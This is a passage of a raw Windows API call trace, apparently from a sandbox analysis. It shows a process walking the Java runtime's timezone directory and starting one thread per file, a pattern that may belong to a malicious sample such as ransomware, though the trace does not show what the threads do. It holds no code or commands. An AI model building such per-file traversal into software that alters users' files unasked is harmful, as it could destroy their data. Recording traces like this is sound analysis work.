returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.366] wcscat (in: _Dest=0x426eea80, _Source="Anguilla" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anguilla") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Anguilla" [0158.366] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eea80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498 [0158.367] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Antigua", cAlternateFileName="")) returned 1 [0158.367] wcscmp (_String1="Antigua", _String2=".") returned 1 [0158.367] wcscmp (_String1="Antigua", _String2="..") returned 1 [0158.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x426eeb00 [0158.367] wcscpy (in: _Dest=0x426eeb00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.367] wcscat (in: _Dest=0x426eeb00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.367] wcscat (in: _Dest=0x426eeb00, _Source="Antigua" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Antigua") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Antigua" [0158.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eeb00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc08 [0158.368] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x37c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Araguaina", cAlternateFileName="ARAGUA~1")) returned 1 [0158.368] wcscmp (_String1="Araguaina", _String2=".") returned 1 [0158.368] wcscmp (_String1="Araguaina", _String2="..") returned 1 [0158.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x426eeb80 [0158.368] wcscpy (in: _Dest=0x426eeb80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.368] wcscat (in: _Dest=0x426eeb80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.368] wcscat (in: _Dest=0x426eeb80, _Source="Araguaina" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Araguaina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Araguaina" [0158.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eeb80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc0c [0158.370] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Argentina", cAlternateFileName="ARGENT~1")) returned 1 [0158.370] wcscmp (_String1="Argentina", _String2=".") returned 1 [0158.370] wcscmp (_String1="Argentina", _String2="..") returned 1 [0158.370] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x426eec00 [0158.370] wcscpy (in: _Dest=0x426eec00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.370] wcscat (in: _Dest=0x426eec00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.370] wcscat (in: _Dest=0x426eec00, _Source="Argentina" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Argentina" [0158.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x426eec00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc10 [0158.371] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aruba", cAlternateFileName="")) returned 1 [0158.371] wcscmp (_String1="Aruba", _String2=".") returned 1 [0158.372] wcscmp (_String1="Aruba", _String2="..") returned 1 [0158.372] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426eec80 [0158.372] wcscpy (in: _Dest=0x426eec80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.372] wcscat (in: _Dest=0x426eec80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.372] wcscat (in: _Dest=0x426eec80, _Source="Aruba" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Aruba") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Aruba" [0158.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eec80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc18 [0158.373] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Asuncion", cAlternateFileName="")) returned 1 [0158.373] wcscmp (_String1="Asuncion", _String2=".") returned 1 [0158.373] wcscmp (_String1="Asuncion", _String2="..") returned 1 [0158.373] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426eed00 [0158.373] wcscpy (in: _Dest=0x426eed00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.373] wcscat (in: _Dest=0x426eed00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.373] wcscat (in: _Dest=0x426eed00, _Source="Asuncion" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Asuncion") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Asuncion" [0158.373] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eed00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88 [0158.374] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Atikokan", cAlternateFileName="")) returned 1 [0158.374] wcscmp (_String1="Atikokan", _String2=".") returned 1 [0158.374] wcscmp (_String1="Atikokan", _String2="..") returned 1 [0158.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426eed80 [0158.374] wcscpy (in: _Dest=0x426eed80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.374] wcscat (in: _Dest=0x426eed80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.374] wcscat (in: _Dest=0x426eed80, _Source="Atikokan" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Atikokan") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Atikokan" [0158.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eed80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc4c [0158.375] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7452f340, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7452f340, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7452f340, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x229, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia", cAlternateFileName="")) returned 1 [0158.375] wcscmp (_String1="Bahia", _String2=".") returned 1 [0158.375] wcscmp (_String1="Bahia", _String2="..") returned 1 [0158.375] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426eee00 [0158.375] wcscpy (in: _Dest=0x426eee00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.375] wcscat (in: _Dest=0x426eee00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.375] wcscat (in: _Dest=0x426eee00, _Source="Bahia" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia" [0158.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eee00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc64 [0158.376] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x34c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bahia_Banderas", cAlternateFileName="BAHIA_~1")) returned 1 [0158.376] wcscmp (_String1="Bahia_Banderas", _String2=".") returned 1 [0158.376] wcscmp (_String1="Bahia_Banderas", _String2="..") returned 1 [0158.376] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1b86b0d0 [0158.376] wcscpy (in: _Dest=0x1b86b0d0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.376] wcscat (in: _Dest=0x1b86b0d0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.376] wcscat (in: _Dest=0x1b86b0d0, _Source="Bahia_Banderas" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia_Banderas") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bahia_Banderas" [0158.376] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86b0d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc68 [0158.377] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x89, dwReserved0=0x0, dwReserved1=0x0, cFileName="Barbados", cAlternateFileName="")) returned 1 [0158.377] wcscmp (_String1="Barbados", _String2=".") returned 1 [0158.377] wcscmp (_String1="Barbados", _String2="..") returned 1 [0158.377] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x426eee80 [0158.378] wcscpy (in: _Dest=0x426eee80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.378] wcscat (in: _Dest=0x426eee80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.378] wcscat (in: _Dest=0x426eee80, _Source="Barbados" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Barbados") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Barbados" [0158.378] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eee80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc80 [0158.378] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x129, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belem", cAlternateFileName="")) returned 1 [0158.379] wcscmp (_String1="Belem", _String2=".") returned 1 [0158.379] wcscmp (_String1="Belem", _String2="..") returned 1 [0158.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426eef00 [0158.379] wcscpy (in: _Dest=0x426eef00, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.379] wcscat (in: _Dest=0x426eef00, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.379] wcscat (in: _Dest=0x426eef00, _Source="Belem" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belem") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belem" [0158.379] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eef00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc84 [0158.380] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x201, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belize", cAlternateFileName="")) returned 1 [0158.380] wcscmp (_String1="Belize", _String2=".") returned 1 [0158.380] wcscmp (_String1="Belize", _String2="..") returned 1 [0158.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426eef80 [0158.380] wcscpy (in: _Dest=0x426eef80, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.380] wcscat (in: _Dest=0x426eef80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.380] wcscat (in: _Dest=0x426eef80, _Source="Belize" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belize") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Belize" [0158.380] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426eef80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc88 [0158.381] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Blanc-Sablon", cAlternateFileName="BLANC-~1")) returned 1 [0158.381] wcscmp (_String1="Blanc-Sablon", _String2=".") returned 1 [0158.381] wcscmp (_String1="Blanc-Sablon", _String2="..") returned 1 [0158.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b86a740 [0158.381] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.381] wcscat (in: _Dest=0x1b86a740, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.381] wcscat (in: _Dest=0x1b86a740, _Source="Blanc-Sablon" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Blanc-Sablon") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Blanc-Sablon" [0158.381] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86a740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc8c [0158.382] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x149, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boa_Vista", cAlternateFileName="BOA_VI~1")) returned 1 [0158.382] wcscmp (_String1="Boa_Vista", _String2=".") returned 1 [0158.382] wcscmp (_String1="Boa_Vista", _String2="..") returned 1 [0158.382] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x426ef000 [0158.382] wcscpy (in: _Dest=0x426ef000, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.382] wcscat (in: _Dest=0x426ef000, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.382] wcscat (in: _Dest=0x426ef000, _Source="Boa_Vista" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boa_Vista") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boa_Vista" [0158.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc90 [0158.383] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bogota", cAlternateFileName="")) returned 1 [0158.383] wcscmp (_String1="Bogota", _String2=".") returned 1 [0158.383] wcscmp (_String1="Bogota", _String2="..") returned 1 [0158.383] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x426ef080 [0158.384] wcscpy (in: _Dest=0x426ef080, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.384] wcscat (in: _Dest=0x426ef080, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.384] wcscat (in: _Dest=0x426ef080, _Source="Bogota" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bogota") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Bogota" [0158.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc94 [0158.385] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x504, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boise", cAlternateFileName="")) returned 1 [0158.385] wcscmp (_String1="Boise", _String2=".") returned 1 [0158.385] wcscmp (_String1="Boise", _String2="..") returned 1 [0158.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x426ef100 [0158.385] wcscpy (in: _Dest=0x426ef100, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.385] wcscat (in: _Dest=0x426ef100, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" [0158.385] wcscat (in: _Dest=0x426ef100, _Source="Boise" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boise") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boise" [0158.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x426ef100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc98 [0158.386] FindNextFileW (in: hFindFile=0x1cd86d30, lpFindFileData=0x1cd638c0 | out: lpFindFileData=0x1cd638c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745554a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x434, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cambridge_Bay", cAlternateFileName="CAMBRI~1")) returned 1 [0158.386] wcscmp (_String1="Cambridge_Bay", _String2=".") returned 1 [0158.386] wcscmp (_String1="Cambridge_Bay", _String2="..") returned 1 [0158.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1ceb7030 [0158.387] wcscpy (in: _Dest=0x1ceb7030, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America" [0158.387] wcscat (in: _Dest=0x1ceb7030, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\" 